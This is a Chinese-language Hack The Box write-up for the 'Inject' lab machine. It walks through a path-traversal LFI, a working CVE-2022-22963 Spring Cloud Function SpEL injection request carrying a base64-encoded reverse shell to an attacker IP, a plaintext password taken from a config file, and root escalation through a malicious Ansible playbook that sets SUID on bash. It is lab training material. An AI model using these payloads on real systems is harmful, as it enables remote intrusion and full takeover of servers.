htb_Inject (LFI,Spring Cloud Function SpEL注入)

靶场ip: 10.10.11.204
kali攻击机tun0ip:10.10.14.36

hack the box靶场的配置网上很多,这里就不赘述了

Inject是我在htb尝试的第一个靶机,难度系数:easy

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第1张图片

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第2张图片

kali可以ping通靶场,那就可以开始了

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第3张图片

dirb扫描端口

nmap -A 10.10.11.204

开放了http 8080端口

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第4张图片

访问8080端口

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第5张图片

dirb扫一下目录(会有点慢)

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第6张图片

发现了一个可以上传文件的地方

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第7张图片

上传图片成功后可以查看图片

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第8张图片

点击View your Image后发现url是xxx?img=xxxx的格式,很有可能存在文件包含漏洞(LFI)

在这里插入图片描述

使用bp抓包修改img=内容,试包含/etc/passwd(注意…/要多写几个,不然会返回错误页面)

果然存在漏洞

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第9张图片

使用bp的Intruder模块FUZZ一下目录文件

配置如下

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第10张图片

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第11张图片

返回的文件有点眼熟,这不就是根目录的文件咩

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第12张图片

查看web站点目录

居然可以查看目录下所有包含的文件,这就好办了

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第13张图片

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第14张图片

查看pom.xml配置文件

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第15张图片

spring cloud function 3.2.2存在漏洞SpEL注入

    
        org.springframework.cloud
        spring-cloud-function-web
        3.2.2

CVE Search | Tenable®

在这里插入图片描述

查看cve内容

恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第16张图片

可以研究研究漏洞原理

(105条消息) CVE-2022-22963 SpringCloud Function SpEL注入漏洞分析_网安员阿道夫的博客-CSDN博客

漏洞利用,都参考一下

hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0-day,POC,EXP,CVE-2022-22963 (github.com)

(105条消息) CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现_Evan Kang的博客-CSDN博客

以下是我本人试过的可行的方法,仅供参考

将反弹shell命令bash -i >& /dev/tcp/10.10.14.36/6666 0>&1 使用base64编码

我这里用tun0的是ip,别的没试过

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第17张图片

构造反弹shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i} 

依旧在上面的bp页面

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第18张图片

修改请求头内容为

POST /functionRouter HTTP/1.1

添加一段请求体

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i}")
Content-Length: 5

ccccc
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.204:8080/upload
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i}")
Content-Length: 5

ccccc

kali开启nc监听

在这里插入图片描述

Send

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第19张图片

反弹成功~~

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第20张图片

目录探测

发现一个配置文件settings.xml

cd /home
ls
cd frank
ls -la
cd .m2
ls
cat settings.xml

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第21张图片

发现用户名和密码

phil DocPhillovestoInject123

切换用户

su phil 

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第22张图片
发现flag
htb_Inject (LFI,Spring Cloud Function SpEL注入)_第23张图片利用pspy监控进程(网上教的)想去/tmp目录下载pspy文件,发现居然自带了,而且可执行

cd /tmp
ls -la

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第24张图片

执行pspy文件

./pspy

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第25张图片

发现正在以root权限运行ansible

在这里插入图片描述

在这里插入图片描述

ansible简介

  • Ansible是一款自动化运维工具,基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。

  • Ansible是一种安装在控制节点上的无代理自动化工具。Ansible 从控制节点远程管理机器和其他设备(默认情况下,通过SSH协议)。Ansible
    与Saltstack均是基于Python语言开发,Ansible只需要在一台普通的服务器上运行即可,不需要在客户端服务器上安装客户端。因为Ansible是基于SSH远程管理,而Linux服务器大都离不开SSH,所以Ansible不需要为配置工作添加额外的支持。

  • Ansible是基于模块工作的,本身没有批量部署的能力。真正具有批量部署的是Ansible所运行的模块,Ansible只是提供一种框架。

  • playbook:剧本执行多个任务时,非必需可以让节点一次性运行多个任务

YML简介

  • YAML (YAML Ain’t a Markup Language)YAML不是一种标记语言,通常以.yml为后缀的文件,是一种直观的能够被电脑识别的数据序列化格式,并且容易被人类阅读,容易和脚本语言交互的,可以被支持YAML库的不同的编程语言程序导入,一种专门用来写配置文件的语言。可用于如:
    Java,C/C++, Ruby, Python, Perl, C#, PHP等。

查看playbook格式

  cd /opt/automation/tasks/ 

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第26张图片

- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

参考上述内容写一个playbook_2.yml

当ansible进程执行playbook_2.yml文件时,root便了赋予bash命令suid权限

- hosts:  localhost
  tasks:
    - name: get root
      command: chmod u+s /bin/bash
      become: true

上传文件到/opt/automation/tasks/

wget http://10.10.14.36:8888/playbook_2.yml  

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第27张图片

在这里插入图片描述

bash -p

The “bash -p” command is used to run Bash in privileged mode, also
known as “privileged shell” or “superuser mode”.

其实我不是很懂为啥要用bash -p命令=_=,可能是为了切换shell的权限?

在这里插入图片描述

提权成功

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第28张图片

获得flag

htb_Inject (LFI,Spring Cloud Function SpEL注入)_第29张图片

o了

你可能感兴趣的:(hack,the,box,网络,web安全,网络安全)